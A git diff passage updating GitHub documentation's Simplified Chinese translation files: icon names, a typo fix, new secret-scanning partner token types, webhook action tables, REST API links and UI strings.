-{% endnote %}
-{% endif %}
diff --git a/translations/zh-CN/data/reusables/organizations/people.md b/translations/zh-CN/data/reusables/organizations/people.md
index 1524e20ada..207c921148 100644
--- a/translations/zh-CN/data/reusables/organizations/people.md
+++ b/translations/zh-CN/data/reusables/organizations/people.md
@@ -1,5 +1,5 @@
 1. 在组织名称下，单击
-{% octicon "organization" aria-label="The People icon" %} **People**.
+{% octicon "person" aria-label="The Person icon" %} **People**.
   {% ifversion fpt or ghes > 3.2 or ghec %}
   ![人员选项卡](/assets/images/help/organizations/organization-people-tab-with-overview-tab.png)
   {% else %}
diff --git a/translations/zh-CN/data/reusables/pages/twenty-minutes-to-publish.md b/translations/zh-CN/data/reusables/pages/twenty-minutes-to-publish.md
index 60b5541d26..79c74f9c32 100644
--- a/translations/zh-CN/data/reusables/pages/twenty-minutes-to-publish.md
+++ b/translations/zh-CN/data/reusables/pages/twenty-minutes-to-publish.md
@@ -1 +1 @@
-**注：**对站点的更改在推送到 {% data variables.product.product_name %} 后，最长可能需要 10 分钟才会发布。  If your don't see your {% data variables.product.prodname_pages %} site changes reflected in your browser after an hour, see "[About Jekyll build errors for {% data variables.product.prodname_pages %} sites](/articles/about-jekyll-build-errors-for-github-pages-sites)."
\ No newline at end of file
+**注：**对站点的更改在推送到 {% data variables.product.product_name %} 后，最长可能需要 10 分钟才会发布。  If you don't see your {% data variables.product.prodname_pages %} site changes reflected in your browser after an hour, see "[About Jekyll build errors for {% data variables.product.prodname_pages %} sites](/articles/about-jekyll-build-errors-for-github-pages-sites)."
diff --git a/translations/zh-CN/data/reusables/repositories/actions-tab.md b/translations/zh-CN/data/reusables/repositories/actions-tab.md
index b9f7c56ae4..4995417d95 100644
--- a/translations/zh-CN/data/reusables/repositories/actions-tab.md
+++ b/translations/zh-CN/data/reusables/repositories/actions-tab.md
@@ -1 +1 @@
-1. 在仓库名称下，单击 **Actions（操作）**。 ![主仓库导航中的操作选项卡](/assets/images/help/repository/actions-tab.png)
+1. Under your repository name, click {% octicon "play" aria-label="The Play icon" %} **Actions**. ![主仓库导航中的操作选项卡](/assets/images/help/repository/actions-tab.png)
diff --git a/translations/zh-CN/data/reusables/repositories/private_forks_inherit_permissions.md b/translations/zh-CN/data/reusables/repositories/private_forks_inherit_permissions.md
index e016c77ba6..f2659b5b3c 100644
--- a/translations/zh-CN/data/reusables/repositories/private_forks_inherit_permissions.md
+++ b/translations/zh-CN/data/reusables/repositories/private_forks_inherit_permissions.md
@@ -1 +1 @@
-私有复刻继承上游或父仓库的权限结构。 例如，如果上游仓库是私有的，并授予团队读/写访问权限，则同一团队对该私有上游仓库的任何复刻拥有读/写权限。 这有助于私有仓库的所有者保持对其代码的控制。
+私有复刻继承上游或父仓库的权限结构。 这有助于私有仓库的所有者保持对其代码的控制。 例如，如果上游仓库是私有的，并授予团队读/写访问权限，则同一团队对该私有上游仓库的任何复刻拥有读/写权限。 Only team permissions (not individual permissions) are inherited by private forks.
diff --git a/translations/zh-CN/data/reusables/secret-scanning/partner-secret-list-private-repo.md b/translations/zh-CN/data/reusables/secret-scanning/partner-secret-list-private-repo.md
index 99bbe9a4e2..f93c99aec8 100644
--- a/translations/zh-CN/data/reusables/secret-scanning/partner-secret-list-private-repo.md
+++ b/translations/zh-CN/data/reusables/secret-scanning/partner-secret-list-private-repo.md
@@ -88,7 +88,7 @@ Google | Google OAuth Client Secret | google_oauth_client_secret{% endif %}
 {%- ifversion fpt or ghec or ghes > 3.3 %}
 Google | Google OAuth Refresh Token | google_oauth_refresh_token{% endif %}
 {%- ifversion fpt or ghec or ghes > 3.1 or ghae %}
-Grafana | Grafana API Key | grafana_api_key{% endif %} Hashicorp Terraform | Terraform Cloud / Enterprise API Token | terraform_api_token Hubspot | Hubspot API Key | hubspot_api_key
+Grafana | Grafana API Key | grafana_api_key{% endif %} HashiCorp | Terraform Cloud / Enterprise API Token | terraform_api_token HashiCorp | HashiCorp Vault Batch Token | hashicorp_vault_batch_token HashiCorp | HashiCorp Vault Service Token | hashicorp_vault_service_token Hubspot | Hubspot API Key | hubspot_api_key
 {%- ifversion fpt or ghec or ghes > 3.1 or ghae %}
 Intercom | Intercom Access Token | intercom_access_token{% endif %}
 {%- ifversion fpt or ghec or ghes > 3.1 or ghae %}
@@ -113,6 +113,10 @@ Mapbox | Mapbox Secret Access Token | mapbox_secret_access_token{% endif %}
 MessageBird | MessageBird API Key | messagebird_api_key{% endif %}
 {%- ifversion fpt or ghec or ghes > 3.1 or ghae %}
 Meta | Facebook Access Token | facebook_access_token{% endif %}
+{%- ifversion fpt or ghec or ghes > 3.3 %}
+Midtrans | Midtrans Production Server Key | midtrans_production_server_key{% endif %}
+{%- ifversion fpt or ghec or ghes > 3.3 %}
+Midtrans | Midtrans Sandbox Server Key | midtrans_sandbox_server_key{% endif %}
 {%- ifversion fpt or ghec or ghes > 3.2 %}
 New Relic | New Relic Personal API Key | new_relic_personal_api_key{% endif %}
 {%- ifversion fpt or ghec or ghes > 3.2 %}
@@ -186,3 +190,9 @@ Yandex | Yandex.Cloud API Key | yandex_cloud_api_key{% endif %}
 Yandex | Yandex.Cloud IAM Cookie | yandex_cloud_iam_cookie{% endif %}
 {%- ifversion fpt or ghec or ghes > 3.3 %}
 Yandex | Yandex.Cloud IAM Token | yandex_cloud_iam_token{% endif %}
+{%- ifversion fpt or ghec or ghes > 3.3 %}
+Yandex | Yandex.Dictionary API Key | yandex_dictionary_api_key{% endif %}
+{%- ifversion fpt or ghec or ghes > 3.3 %}
+Yandex | Yandex.Predictor API Key | yandex_predictor_api_key{% endif %}
+{%- ifversion fpt or ghec or ghes > 3.3 %}
+Yandex | Yandex.Translate API Key | yandex_translate_api_key{% endif %}
diff --git a/translations/zh-CN/data/reusables/user_settings/appearance-settings.md b/translations/zh-CN/data/reusables/user_settings/appearance-settings.md
new file mode 100644
index 0000000000..81424365c6
--- /dev/null
+++ b/translations/zh-CN/data/reusables/user_settings/appearance-settings.md
@@ -0,0 +1,3 @@
+1. 在用户设置侧边栏中，单击 **Appearance（外观）**。
+
+   ![用户设置侧边栏中的"外观"选项卡](/assets/images/help/settings/appearance-tab.png)
\ No newline at end of file
diff --git a/translations/zh-CN/data/reusables/user_settings/enabling-fixed-width-fonts.md b/translations/zh-CN/data/reusables/user_settings/enabling-fixed-width-fonts.md
new file mode 100644
index 0000000000..b40ae916b5
--- /dev/null
+++ b/translations/zh-CN/data/reusables/user_settings/enabling-fixed-width-fonts.md
@@ -0,0 +1,5 @@
+{% if fixed-width-font-gfm-fields %}
+
+If you are frequently editing code snippets and tables, you may benefit from enabling a fixed-width font in all comment fields on {% data variables.product.product_name %}. For more information, see "[Enabling fixed-width fonts in the editor](/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github#enabling-fixed-width-fonts-in-the-editor)."
+
+{% endif %}
\ No newline at end of file
diff --git a/translations/zh-CN/data/reusables/webhooks/issue_event_api_properties.md b/translations/zh-CN/data/reusables/webhooks/issue_event_api_properties.md
index c7a7e25e40..adecf99580 100644
--- a/translations/zh-CN/data/reusables/webhooks/issue_event_api_properties.md
+++ b/translations/zh-CN/data/reusables/webhooks/issue_event_api_properties.md
@@ -1,3 +1,3 @@
-| 键        | 类型    | 描述                                                                                              |
-| -------- | ----- | ----------------------------------------------------------------------------------------------- |
-| `action` | `字符串` | 执行的操作内容. 可以是以下项之一：`opened`、`closed`、`reopened`、`assigned`、`unassigned`、`labeled` 或 `unlabeled`。 |
+| 键        | 类型    | 描述                                                                                                                    |
+| -------- | ----- | --------------------------------------------------------------------------------------------------------------------- |
+| `action` | `字符串` | 执行的操作内容. Can be one of `opened`, `edited`, `closed`, `reopened`, `assigned`, `unassigned`, `labeled`, or `unlabeled`. |
diff --git a/translations/zh-CN/data/reusables/webhooks/pull_request_event_api_properties.md b/translations/zh-CN/data/reusables/webhooks/pull_request_event_api_properties.md
index f3f40036fc..6530893302 100644
--- a/translations/zh-CN/data/reusables/webhooks/pull_request_event_api_properties.md
+++ b/translations/zh-CN/data/reusables/webhooks/pull_request_event_api_properties.md
@@ -1,3 +1,3 @@
-| 键        | 类型    | 描述                                                                                                                                                        |
-| -------- | ----- | --------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| `action` | `字符串` | 执行的操作内容. 可以是以下项之一：`opened`、`closed`、`reopened`、`assigned`、`unassigned`、`review_requested`、`review_request_removed`、`labeled`、`unlabeled` 和 `synchronize`。 |
+| 键        | 类型    | 描述                                                                                                                                                                                  |
+| -------- | ----- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `action` | `字符串` | 执行的操作内容. Can be one of `opened`, `edited`, `closed`, `reopened`, `assigned`, `unassigned`, `review_requested`, `review_request_removed`, `labeled`, `unlabeled`, and `synchronize`. |
diff --git a/translations/zh-CN/data/reusables/webhooks/release_short_desc.md b/translations/zh-CN/data/reusables/webhooks/release_short_desc.md
index 6a63d1b3a4..3a43a38448 100644
--- a/translations/zh-CN/data/reusables/webhooks/release_short_desc.md
+++ b/translations/zh-CN/data/reusables/webhooks/release_short_desc.md
@@ -1 +1 @@
-与发行版相关的活动。 {% data reusables.webhooks.action_type_desc %} 更多信息请参阅“[发行版](/rest/reference/repos#releases)”REST API。
+与发行版相关的活动。 {% data reusables.webhooks.action_type_desc %} 更多信息请参阅“[发行版](/rest/reference/releases)”REST API。
diff --git a/translations/zh-CN/data/reusables/webhooks/webhooks-rest-api-links.md b/translations/zh-CN/data/reusables/webhooks/webhooks-rest-api-links.md
index 4b6a35306e..43533f3255 100644
--- a/translations/zh-CN/data/reusables/webhooks/webhooks-rest-api-links.md
+++ b/translations/zh-CN/data/reusables/webhooks/webhooks-rest-api-links.md
@@ -1,5 +1,5 @@
 The webhook REST APIs enable you to manage repository, organization, and app webhooks.{% ifversion fpt or ghes > 3.2 or ghae or ghec %} You can use this API to list webhook deliveries for a webhook, or get and redeliver an individual delivery for a webhook, which can be integrated into an external app or service.{% endif %} You can also use the REST API to change the configuration of the webhook. 例如，您可以修改有效负载 URL、内容类型、SSL 验证和机密。 更多信息请参阅：
 
-- [仓库 web 挂钩 REST API](/rest/reference/repos#webhooks)
+- [仓库 web 挂钩 REST API](/rest/reference/webhooks#repository-webhooks)
 - [Organization Webhooks REST API](/rest/reference/orgs#webhooks)
 - [{% data variables.product.prodname_github_app %} web 挂钩 REST API](/rest/reference/apps#webhooks)
diff --git a/translations/zh-CN/data/ui.yml b/translations/zh-CN/data/ui.yml
index 2c3a3c4a04..fad27ce604 100644
--- a/translations/zh-CN/data/ui.yml
+++ b/translations/zh-CN/data/ui.yml
@@ -13,6 +13,8 @@ header:
     ghes_release_notes_upgrade_patch_only: '📣 这不是 Enterprise Server 最新的<a href="#{{ latestPatch }}">补丁版本</a>。'
     ghes_release_notes_upgrade_release_only: '📣 这不是 Enterprise Server 的<a href="/enterprise-server@{{ latestRelease }}/admin/release-notes">最新版本</a>。'
     ghes_release_notes_upgrade_patch_and_release: '📣 这不是此版本系列的<a href="#{{ latestPatch }}">最新修补版</a>，也不是 Enterprise Server 的<a href="/enterprise-server@{{ latestRelease }}/admin/release-notes">最新版本</a>。'
+picker:
+  toggle_picker_list: Toggle picker list
 release_notes:
   banner_text: GitHub began rolling these changes out to enterprises on
 search:
@@ -20,7 +22,9 @@ search:
   placeholder: 搜索主题、产品......
   loading: 正在加载
   no_results: 未找到结果
+  search_results_for: Search results for
   no_content: No content
+  matches_displayed: Matches displayed
 homepage:
   explore_by_product: 按产品浏览
   version_picker: 版本
@@ -54,6 +58,7 @@ survey:
   required: 必选
   email_placeholder: email@example.com
   email_label: If we can contact you with more questions, please enter your email address
+  email_validation: Please enter a valid email address
   send: 发送​​
   feedback: 谢谢！我们收到了您的反馈。
   not_support: 如果您需要回复，请联系客服。
diff --git a/translations/zh-CN/data/variables/product.yml b/translations/zh-CN/data/variables/product.yml
index 5300bf579c..10adcab0e5 100644
--- a/translations/zh-CN/data/variables/product.yml
+++ b/translations/zh-CN/data/variables/product.yml
@@ -97,8 +97,6 @@ prodname_matching_fund: 'GitHub 赞助者匹配基金'
 #GitHub Advanced Security
 prodname_GH_advanced_security: 'GitHub Advanced Security'
 prodname_advanced_security: 'Advanced Security'
-#Security Center
-prodname_security_center: '安全中心'
 #Codespaces
 prodname_codespaces: 'Codespaces'
 prodname_github_codespaces: 'GitHub Codespaces'